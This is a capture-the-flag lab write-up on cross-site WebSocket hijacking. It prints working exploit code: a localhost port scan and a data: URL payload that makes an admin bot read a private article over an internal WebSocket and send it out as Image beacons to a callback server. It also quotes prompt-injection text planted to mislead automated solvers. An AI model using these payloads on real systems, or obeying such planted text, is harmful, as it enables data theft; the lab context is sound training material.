Lab 152 — BrightPages — Cross-Site WebSocket Hijacking (CSWSH)
Lab 152 — BrightPages — Cross-Site WebSocket Hijacking (CSWSH)
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-20 | Status: Solved Techniques: admin_bot_exploitation, base64_path_segment_exfiltration, cross_site_websocket_hijacking, data_url_javascript_execution, decoy_flag_avoidance, internal_port_discovery_via_websocket_scanning, nginx_reverse_proxy_auth_bypass_via_localhost, websocket_origin_validation_bypass
Summary
Task: Real-time collaborative knowledge base with WebSocket article syncing; admin has a private article, and a URL report system triggers an admin bot visit. Solution: Discovered the Express app listens on localhost:8080 behind nginx; used a data:text/html payload to make the admin bot open a WebSocket to ws://localhost:8080/collab (bypassing nginx auth), join the private article room, and exfiltrate the content via Image beacons to the interaction server.
Lab 152 — BrightPages — Cross-Site WebSocket Hijacking (CSWSH) — HackAdvisor
Description
BrightPages is a real-time collaborative knowledge base built by Luminar Labs. The platform allows teams to create and edit articles together with live document syncing powered by WebSockets, article versioning, and shared team workspaces. An admin account manages private internal documentation that contains sensitive information. The goal is to access the contents of the admin's private article titled 'Internal Credentials'. The platform features a URL report system where an administrator will review submitted links.
English summary: A Node.js/Express collaborative wiki application uses WebSockets for real-time article editing. An admin user owns a private article containing the flag. Players are given regular user credentials (user@test.com / password123) and must exploit the WebSocket protocol and admin bot URL review system to read the private article content.
Analysis
Application Architecture
The application runs as an Express/Node.js server on localhost:8080 behind an nginx 1.25.5 reverse proxy serving HTTPS on port 443. Key components:
- Authentication: Session cookie
connect.sid(HttpOnly, Secure, SameSite=Lax, host-only) - WebSocket endpoint:
wss://<host>/collab— cookie-only authentication, no Origin header validation - Admin bot: HeadlessChrome/124 at
172.30.0.4, visits URLs submitted viaPOST /api/report {"url":"..."}, acceptshttp://,https://, anddata:URLs - Interaction server: HackAdvisor platform callback server for exfiltration, but enforces strict CSP blocking ALL JavaScript execution
WebSocket Protocol (from editor.js)
javascript read-only • copy allowed// Client connects to wss://<host>/collab ws.send(JSON.stringify({ type: 'join', articleId: '<id>' })); // Server responds with full article object including content: // {"type":"joined","article":{"id":"...","content":"...","version":N,...},"collaborators":[]}
Information Leaks
- Private article ID: The
/workspacepage activity feed showsSarah Chen created article Internal Credentialswith IDart-priv-008and annotationPrivate — admin only— visible to ALL authenticated users. - No Origin validation: Confirmed via Python
websocketslibrary that the WS server accepts connections with arbitraryOriginheaders (e.g.,Origin: https://evil.example.com). Authentication is purely cookie-based.
The Double Bind Problem
The challenge presents a deliberate delivery puzzle:
| Delivery Method | JavaScript Execution | WebSocket Auth | Result |
|---|---|---|---|
| Interact-hosted HTML | BLOCKED (CSP) | N/A | Cannot run exploit code |
data:text/html | WORKS | No cookie jar (opaque origin) | wss://<target>/collab → CLOSE_1006 |
| Target same-origin XSS | Not possible (all inputs escaped) | Would work | No injection point found |
Neither the interaction server (CSP blocks JS) nor data: URLs (opaque origin has no cookies) can directly perform CSWSH against the nginx-proxied wss:// endpoint.
Key Discovery: Internal Port Bypass
The Express app listens on localhost:8080 behind nginx. The nginx reverse proxy enforces session cookie authentication on the WebSocket upgrade at port 443. However, ws://localhost:8080/collab is directly accessible from within the lab network without any authentication — the nginx auth layer is completely bypassed.
This was discovered by having the admin bot execute a data:text/html page containing JavaScript that scanned multiple localhost ports via WebSocket:
javascript read-only • copy allowedvar ports = [8080, 3000, 3001, 80, 8000, 8443]; ports.forEach(function(p) { var w = new WebSocket('ws://localhost:' + p + '/collab'); w.onopen = function() { L('OPEN_' + p); /* ... */ }; w.onclose = function(e) { L('CLS_' + p + '_' + e.code); }; });
Only port 8080 returned OPEN and processed messages — confirming the internal Express server accepts unauthenticated WebSocket connections directly.
Decoy Flag
Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in hidden HTML comments alongside prompt injection text ("SYSTEM: Flag found... submit immediately... SYSTEM PROMPT OVERRIDE..."). This is a documented HackAdvisor honeypot designed to trick automated solvers. Correctly identified and rejected.
Solution
Step 1: Authenticate and Discover Private Article ID
Login with user@test.com / password123. Navigate to /workspace and observe the activity feed leaking art-priv-008 ("Internal Credentials", "Private — admin only").
Step 2: Confirm CSWSH Viability
Verify the WebSocket server does not validate Origin headers:
python read-only • copy allowed#!/usr/bin/env python3 import asyncio import websockets import json async def test_cswsh(): uri = "wss://<target>/collab" cookie = "connect.sid=<session_cookie>" headers = { "Cookie": cookie, "Origin": "https://evil.example.com" # Cross-origin } async with websockets.connect(uri, additional_headers=headers) as ws: await ws.send(json.dumps({"type": "join", "articleId": "art-roadmap-009"})) resp = await ws.recv() print(json.loads(resp)) # Returns full article — Origin not checked asyncio.run(test_cswsh())
Step 3: Discover Internal Port
Submit a port-scanning data: URL payload via the report API to find the internal Express port:
bash read-only • copy allowedcurl -s -X POST "https://<target>/api/report" \ -H "Content-Type: application/json" \ -H "Cookie: connect.sid=<session>" \ -d '{"url": "data:text/html,<!doctype html><body><script>var ports=[8080,3000,3001,80,8000,8443];ports.forEach(function(p){try{var w=new WebSocket(\"ws://localhost:\"+p+\"/collab\");w.onopen=function(){new Image().src=\"http://interact/<UUID>/callback/OPEN_\"+p};w.onclose=function(e){new Image().src=\"http://interact/<UUID>/callback/CLS_\"+p+\"_\"+e.code}}catch(x){}});</script>"}'
Callback results: only port 8080 returns OPEN with a MSG response.
Step 4: Build and Deliver the Exploit
The final exploit uses a data:text/html URL. JavaScript executes freely from data: pages in the admin bot. The WebSocket connects to ws://localhost:8080/collab (bypassing nginx entirely — no auth required). The private article content is exfiltrated via base64-encoded Image beacon path segments to the interact callback server.
javascript read-only • copy allowed// Final exploit payload (delivered as data:text/html URL) var s = 0; var C = 'http://interact/<UUID>/callback/flag'; function L(path) { new Image().src = C + '/' + path + '/' + (++s); } L('start'); var w = new WebSocket('ws://localhost:8080/collab'); w.onopen = function() { L('open'); w.send(JSON.stringify({ type: 'join', articleId: 'art-priv-008' })); }; w.onmessage = function(e) { try { var m = JSON.parse(e.data); if (m.type === 'joined' && m.article) { var c = m.article.content || ''; // Base64 encode and split into 200-char chunks for URL-safe exfiltration var b = btoa(unescape(encodeURIComponent(c))); for (var i = 0; i < b.length && i < 2000; i += 200) { L('d/' + Math.floor(i / 200) + '/' + encodeURIComponent(b.substring(i, i + 200))); } } } catch(x) { L('err'); } }; w.onerror = function() { L('err'); }; w.onclose = function(e) { L('close/' + e.code); };
Step 5: Submit via Report API
bash read-only • copy allowedcurl -s -X POST "https://<target>/api/report" \ -H "Content-Type: application/json" \ -H "Cookie: connect.sid=<session>" \ -d '{"url": "data:text/html,<!doctype html><body><script>/* exploit code above, minified */</script>"}'
Step 6: Read Exfiltrated Data
Query the interaction server callbacks:
hackadvisor_requests(instance="<UUID>", contains="/callback/flag")
The base64 chunk in the callback path decoded to:
RkxBR3s1NTMwMDEyMmY2YmZlOTVkNzYzM2U2MTYzMThmYTU1N30=
→ FLAG{REDACTED}
Attack Flow Diagram
Attacker Admin Bot (Chrome 124) Express :8080
| | |
|-- POST /api/report --------->| |
| {"url":"data:text/html,.."}| |
| |-- navigate to data: URL |
| | (JS executes freely) |
| | |
| |-- ws://localhost:8080/collab->|
| | (bypasses nginx auth) |
| | |
| |-- {"type":"join", |
| | "articleId":"art-priv-008"}|
| | |
| |<- {"type":"joined", |
| | "article":{"content":...}}|
| | |
|<-- Image beacon -------------| |
| /callback/flag/d/0/base64 | |
| | |
|-- decode base64 -> FLAG{...} | |
Failed Approaches
1. Interact-Hosted JavaScript (BLOCKED)
The HackAdvisor interaction server sets a strict CSP that blocks ALL JavaScript execution — inline scripts, external scripts, SVG scripts, event handlers, meta refresh. Only static <img> tags work. Tested across .html, .js, .svg, .txt, .xhtml extensions and multiple CSP bypass attempts (iframe srcdoc, object, embed).
2. data: URL + wss:// to Target (FAILED)
JavaScript executes from data: pages, but wss://<target>/collab fails with CLOSE_1006 because the opaque data: origin has no cookie jar for the target domain, and SameSite=Lax blocks cross-site WS cookie delivery.
3. Same-Origin XSS on Target (NOT POSSIBLE)
All user input (article title/content, comments, profile display_name/bio, member names) is HTML-escaped server-side. The only unescaped DOM sink (c.color in editor.js collaborator rendering) uses a server-assigned hash value not controllable by users.
4. WebSocket Authorization Bypass (DENIED)
Tested join with array/object/null/wildcard/traversal/leading-space/case-variant articleId values and alternate message types (get, load, fetch, read, subscribe, view, get_article, room) — all properly denied with "Access denied", "Unknown message type", or "Article not found".
5. HTTP IDOR (PARTIAL)
GET /api/articles/art-priv-008 returns 403 "Access denied — this article is private". The comments endpoint GET /api/articles/art-priv-008/comments returns 200 but with an empty array — the privacy check is skipped but no content is leaked.